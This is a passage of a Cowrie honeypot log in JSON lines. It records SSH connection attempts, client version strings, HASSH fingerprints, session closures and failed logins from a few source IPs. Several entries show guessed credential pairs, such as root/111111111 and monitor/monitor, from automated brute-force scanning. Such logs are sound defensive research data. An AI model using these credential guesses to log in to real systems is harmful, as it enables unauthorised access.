nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:00.127326Z","src_ip":"102.213.34.99","session":"05834e46b517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test1234","message":"login attempt [testuser/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:00.840865Z","src_ip":"102.213.34.99","session":"05834e46b517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:02.020638Z","src_ip":"102.213.34.99","session":"05834e46b517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24794,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b8baee9098a","protocol":"ssh","message":"New connection: 91.92.40.36:24794 (10.17.0.5:22) [session: 3b8baee9098a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:02.815350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:04.596671Z","src_ip":"91.92.40.36","session":"3b8baee9098a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:04.600640Z","src_ip":"91.92.40.36","session":"3b8baee9098a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mostafa","password":"mostafa","message":"login attempt [mostafa/mostafa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:10.250176Z","src_ip":"91.92.40.36","session":"3b8baee9098a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brenda","password":"brenda","message":"login attempt [brenda/brenda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:11.191433Z","src_ip":"91.92.40.36","session":"9d86b28c8fd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:11.837367Z","src_ip":"91.92.40.36","session":"3b8baee9098a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.7","message":"Connection lost after 16.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:13.993196Z","src_ip":"91.92.40.36","session":"9d86b28c8fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20146,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab17108f379","protocol":"ssh","message":"New connection: 91.92.40.36:20146 (10.17.0.5:22) [session: 6ab17108f379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:15.122850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:15.421309Z","src_ip":"91.92.40.36","session":"6ab17108f379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:16.365621Z","src_ip":"91.92.40.36","session":"6ab17108f379","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:20.932627Z","src_ip":"91.92.40.36","session":"6ab17108f379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52680,"dst_ip":"10.17.0.5","dst_port":22,"session":"587f186b540d","protocol":"ssh","message":"New connection: 91.92.40.36:52680 (10.17.0.5:22) [session: 587f186b540d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:21.784046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:21.849282Z","src_ip":"91.92.40.36","session":"587f186b540d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:22.105583Z","src_ip":"91.92.40.36","session":"587f186b540d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111111","message":"login attempt [root/111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:22.981484Z","src_ip":"91.92.40.36","session":"587f186b540d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:23.396099Z","src_ip":"91.92.40.36","session":"6ab17108f379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:24.380926Z","src_ip":"91.92.40.36","session":"587f186b540d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50262,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6bb988929af","protocol":"ssh","message":"New connection: 91.92.40.36:50262 (10.17.0.5:22) [session: a6bb988929af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:29.768936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:30.617251Z","src_ip":"91.92.40.36","session":"a6bb988929af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:31.982222Z","src_ip":"91.92.40.36","session":"a6bb988929af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":55324,"dst_ip":"159.203.135.109","dst_port":22,"session":"9186cfb00744","protocol":"ssh","message":"New connection: 102.210.148.92:55324 (159.203.135.109:22) [session: 9186cfb00744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:32.362127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:32.366037Z","src_ip":"102.210.148.92","session":"9186cfb00744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:32.607081Z","src_ip":"102.210.148.92","session":"9186cfb00744","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:33.606601Z","src_ip":"102.210.148.92","session":"9186cfb00744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:34.850947Z","src_ip":"102.210.148.92","session":"9186cfb00744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44600,"dst_ip":"10.17.0.5","dst_port":22,"session":"364ceec78688","protocol":"ssh","message":"New connection: 91.92.40.36:44600 (10.17.0.5:22) [session: 364ceec78688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:37.124731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:37.199104Z","src_ip":"91.92.40.36","session":"364ceec78688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mc","message":"login attempt [mcserver/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:37.203950Z","src_ip":"91.92.40.36","session":"a6bb988929af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:37.310952Z","src_ip":"91.92.40.36","session":"364ceec78688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmod","password":"gmod","message":"login attempt [gmod/gmod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:38.422716Z","src_ip":"91.92.40.36","session":"364ceec78688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:39.272904Z","src_ip":"91.92.40.36","session":"a6bb988929af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:39.800862Z","src_ip":"91.92.40.36","session":"364ceec78688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.075990200042725,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:43.615422Z","src_ip":"128.199.8.54","session":"46fe151047ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":37736,"dst_ip":"10.17.0.5","dst_port":22,"session":"964fcea7775e","protocol":"ssh","message":"New connection: 103.172.78.219:37736 (10.17.0.5:22) [session: 964fcea7775e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:47.524626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:47.528915Z","src_ip":"103.172.78.219","session":"964fcea7775e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44676,"dst_ip":"10.17.0.5","dst_port":22,"session":"053b4444699a","protocol":"ssh","message":"New connection: 91.92.40.36:44676 (10.17.0.5:22) [session: 053b4444699a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:47.741543Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:47.794543Z","src_ip":"103.172.78.219","session":"964fcea7775e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:47.958772Z","src_ip":"91.92.40.36","session":"053b4444699a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"251019","message":"login attempt [root/251019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:48.593343Z","src_ip":"103.172.78.219","session":"964fcea7775e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:48.925314Z","src_ip":"91.92.40.36","session":"053b4444699a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:39:49.861457Z","src_ip":"103.172.78.219","session":"964fcea7775e","protocol":"ssh"}
